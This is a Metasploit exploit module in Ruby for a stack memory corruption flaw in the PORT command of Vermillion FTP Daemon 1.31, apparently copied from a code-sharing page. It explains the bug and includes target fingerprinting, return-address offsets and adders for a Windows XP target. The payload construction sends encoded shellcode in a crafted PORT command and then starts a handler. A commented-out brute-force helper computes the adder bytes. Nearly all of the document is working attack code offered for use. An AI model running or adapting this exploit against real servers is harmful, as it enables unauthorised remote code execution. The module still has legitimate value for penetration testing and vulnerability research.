扫码分享
验证：
体验盒子##
# $Id: vermillion_ftpd_port.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'Vermillion FTP Daemon PORT Command Memory Corruption',
'Description'=> %q{
This module exploits an out-of-bounds array access in the Arcane Software
Vermillion FTP server. By sending an specially crafted FTP PORT command,
an attacker can corrupt stack memory and execute arbitrary code.
This particular issue is caused by processing data bound by attacker
controlled input while writing into a 4 byte stack buffer. Unfortunately,
the writing that occurs is not a simple byte copy.
Processing is done using a source ptr (p) and a destination pointer (q).
The vulnerable function walks the input string and continues while the
source byte is non-null. If a comma is encountered, the function increments
the the destination pointer. If an ascii digit [0-9] is encountered, the
following occurs:
*q = (*q * 10) + (*p - '0');
All other input characters are ignored in this loop.
As a consequence, an attacker must craft input such that modifications
to the current values on the stack result in usable values. In this exploit,
the low two bytes of the return address are adjusted to point at the
location of a 'call edi' instruction within the binary. This was chosen
since 'edi' points at the source buffer when the function returns.
NOTE: This server can be installed as a service using "vftpd.exe install".
If so, the service does not restart automatically, giving an attacker only
one attempt.
},
'Author' =>
[
'jduck' # metasploit module
],
'Version'=> '$Revision: 10394 $',
'References' =>
[
[ 'OSVDB', '62163' ],
[ 'URL', 'http://www.exploit-db.com/exploits/11293' ],
[ 'URL', 'http://www.global-evolution.info/news/files/vftpd/vftpd.txt' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Privileged' => true,
'Payload'=>
{
# format string max length
'Space'=> 1024,
'BadChars' => "\x00\x08\x0a\x0d\x2c\xff",
'DisableNops' =>'True'
},
'Platform' => 'win',
'Targets'=>
[
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true }],
#
# specific targets
#
[ 'vftpd 1.31 - Windows XP SP3 English',
{
# call edi in vftpd.exe (v1.31)
'OldRet' => 0x405a73, # not used directly
'Ret' => 0x4058e3, # not used directly
'Offset' => 16, # distance to saved return
'Adders' => "171,48"# adjust the bottom two bytes
}
]
],
'DisclosureDate' => 'Sep 23 2009',
'DefaultTarget'=> 0))
register_options(
[
Opt::RPORT(21),
], self.class )
end
def check
connect
disconnect
print_status("FTP Banner: #{banner}".strip)
if banner =~ /\(vftpd .*\)/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
# Use a copy of the target
mytarget = target
if (target['auto'])
mytarget = nil
print_status("Automatically detecting the target...")
connect
disconnect
if (banner and (m = banner.match(/\(vftpd (.*)\)/))) then
print_status("FTP Banner: #{banner.strip}")
version = m[1]
else
print_status("No matching target")
return
end
self.targets.each do |t|
if (t.name =~ /#{version} - /) then
mytarget = t
break
end
end
if (not mytarget)
print_status("No matching target")
return
end
print_status("Selected Target: #{mytarget.name}")
else
print_status("Trying target #{mytarget.name}...")
end
connect
stuff = payload.encoded
# skip 16 bytes
stuff << "," * mytarget['Offset']
# now we change the return address to be what we want
stuff << mytarget['Adders']
if (res = send_cmd(['PORT', stuff]))
print_status(res.strip)
end
disconnect
handler
end
end
=begin
NOTE: the following code was used to obtain the "Adders" target value.
I'm not extremely pleased with this solution, but I haven't come up with
a more elegant one...
=========================
#!/usr/bin/env ruby
#
# usage: ./find_adder.rb <old ret> <new ret>
# example: ./find_adder.rb 0x405a73 0x004058e3
#
$old_ret = ARGV.shift.to_i(16)
$new_ret = ARGV.shift.to_i(16)
oret = [$old_ret].pack('V').unpack('C*')
nret = [$new_ret].pack('V').unpack('C*')
def process_idx(oret, nret, adders, idx)
new_val = oret[idx]
digits = adders[idx].to_s.unpack('C*')
digits.each { |dig|
dig -= 0x30
new_val = (new_val * 10) + dig
}
return (new_val & 0xff)
end
# brute force approach!
final_adders = [ nil, nil, nil, nil ]
adders = []
4.times { |idx|
next if (oret[idx] == nret[idx])
10.times { |x|
10.times { |y|
10.times { |z|
adders[idx] = (x.to_s + y.to_s + z.to_s).to_i
val = process_idx(oret, nret, adders, idx)
if (val == nret[idx])
final_adders[idx] = adders[idx]
end
break if (final_adders[idx])
}
break if (final_adders[idx])
}
break if (final_adders[idx])
}
}
# check/print the solution
eret = []
4.times { |idx|
eret << process_idx(oret, nret, adders, idx)
}
final = eret.pack('C*').unpack('V')[0]
if (final == $new_ret)
puts final_adders.join(',')
exit(0)
end
puts "unable to find a valid solution!"
exit(1)
=end
体验盒子
